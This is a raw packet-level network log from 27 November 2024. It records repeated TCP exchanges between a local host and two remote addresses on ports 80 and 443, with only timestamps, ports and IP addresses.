Nov 27, 2024 11:14:21.382124901 CET	49735	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.382149935 CET	443	49735	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.421125889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.421192884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.421288013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.421330929 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.421583891 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.421649933 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.421680927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.421698093 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.421717882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.421725988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.421814919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.422527075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.422574043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.422646999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.422699928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.423697948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.423739910 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.423777103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.423814058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.424777985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.424825907 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.424910069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.424953938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.425879002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.425971031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.426018953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.427319050 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.427378893 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.427428961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.428105116 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.428227901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.428275108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.429267883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.429406881 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.429455996 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.430354118 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.430413008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.430459023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.431699991 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.431787968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.431797981 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.431874990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.432596922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.432647943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.432709932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.433718920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.433763981 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.433780909 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.433820009 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.434851885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.434911013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.434926033 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.434948921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.435950041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.436007023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.436032057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.436054945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.437088013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.437138081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.437143087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.437496901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.438183069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.438222885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.438266039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.438314915 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.454009056 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.454009056 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.454037905 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.454047918 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.480369091 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.480418921 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.480479002 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.481745958 CET	49736	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.481760979 CET	443	49736	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.503757954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.503835917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.503880978 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.503985882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.504359007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.504409075 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.504453897 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.504555941 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.505435944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.505477905 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.505565882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.505760908 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.506541967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.506591082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.506661892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.506702900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.507658005 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.507704973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.507863998 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.507915020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.508771896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.508816957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.508896112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.509119034 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.509892941 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.509939909 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.510037899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.510230064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.511008024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.511097908 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.511126041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.511234045 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.512136936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.512195110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.512224913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.512347937 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.513245106 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.513276100 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.513309002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.513334990 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.513348103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.513379097 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.513405085 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.513547897 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.513560057 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.513569117 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.513572931 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.514383078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.514434099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.514573097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.514614105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.515505075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.515552044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.515553951 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.515640974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.516629934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.516694069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.516719103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.516746044 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.516901016 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.516942978 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.517033100 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.517321110 CET	49737	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.517334938 CET	443	49737	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.517719984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.517771006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.517836094 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.517879963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.518830061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.518874884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.518928051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.519071102 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.519953966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.520000935 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.520051956 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.520163059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.521099091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.521147013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.521182060 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.521300077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.522170067 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.522214890 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.522279978 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.522320032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.523283958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.523343086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.523403883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.523442984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.524420977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.524471045 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.524559975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.524602890 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.525551081 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.525602102 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.525648117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.525686979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.526652098 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.526721001 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.526772022 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.526813984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.527796984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.527842045 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.527853012 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.527894974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.528839111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.528883934 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.564359903 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.564471960 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.564522982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.564564943 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.564893007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.564949989 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.564990997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.565037012 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.566009998 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.566061974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.566097975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.566270113 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.567142010 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.567198038 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.567354918 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.567569971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.568231106 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.568285942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.568340063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.568389893 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.569361925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.569386959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.569415092 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.569427013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.570472956 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.570528030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.570564985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.570619106 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.571588039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.571649075 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.571696997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.571739912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.572705984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.572772980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.572874069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.572926998 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.573833942 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.573882103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.573924065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.573968887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.574944019 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.574999094 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.575040102 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.575082064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.576086998 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.576139927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.576196909 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.576270103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.577178001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.577231884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.577244997 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.577286959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.578330994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.578392982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.604032993 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.604096889 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.604239941 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.604315996 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.604341030 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.604356050 CET	49733	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.604372978 CET	443	49733	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.607228994 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.607254982 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.607503891 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.607645035 CET	49738	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.607656002 CET	443	49738	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.622518063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.622606993 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.622628927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.622669935 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.623023033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.623080015 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.623096943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.623143911 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.624180079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.624231100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.624289989 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.624331951 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.625266075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.625318050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.625372887 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.625416994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.626384974 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.626435995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.626480103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.626595020 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.627515078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.627567053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.627604008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.627789974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.628659964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.628715992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.628755093 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.628803968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.629745960 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.629797935 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.629900932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.629949093 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.630867958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.630919933 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.630979061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.631139994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.631988049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.632036924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.632078886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.632131100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.633150101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.633230925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.633270979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.634243965 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.634300947 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.634342909 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.634385109 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.635380030 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.635423899 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.635497093 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.635543108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.636446953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.636490107 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.636498928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.636531115 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.637567997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.637609959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.637685061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.637722969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.638654947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.638710976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.638716936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.638834953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.639821053 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.639868975 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.639894962 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.639965057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.705120087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.705188036 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.705194950 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.705271959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.705637932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.705718994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.705765963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.706715107 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.706762075 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.707107067 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.707222939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.707226992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.707258940 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.708329916 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.708388090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.708435059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.708471060 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.709525108 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.709578037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.709589958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.709628105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.710464001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.710562944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.710592985 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.710609913 CET	49718	80	192.168.2.6	185.215.113.206
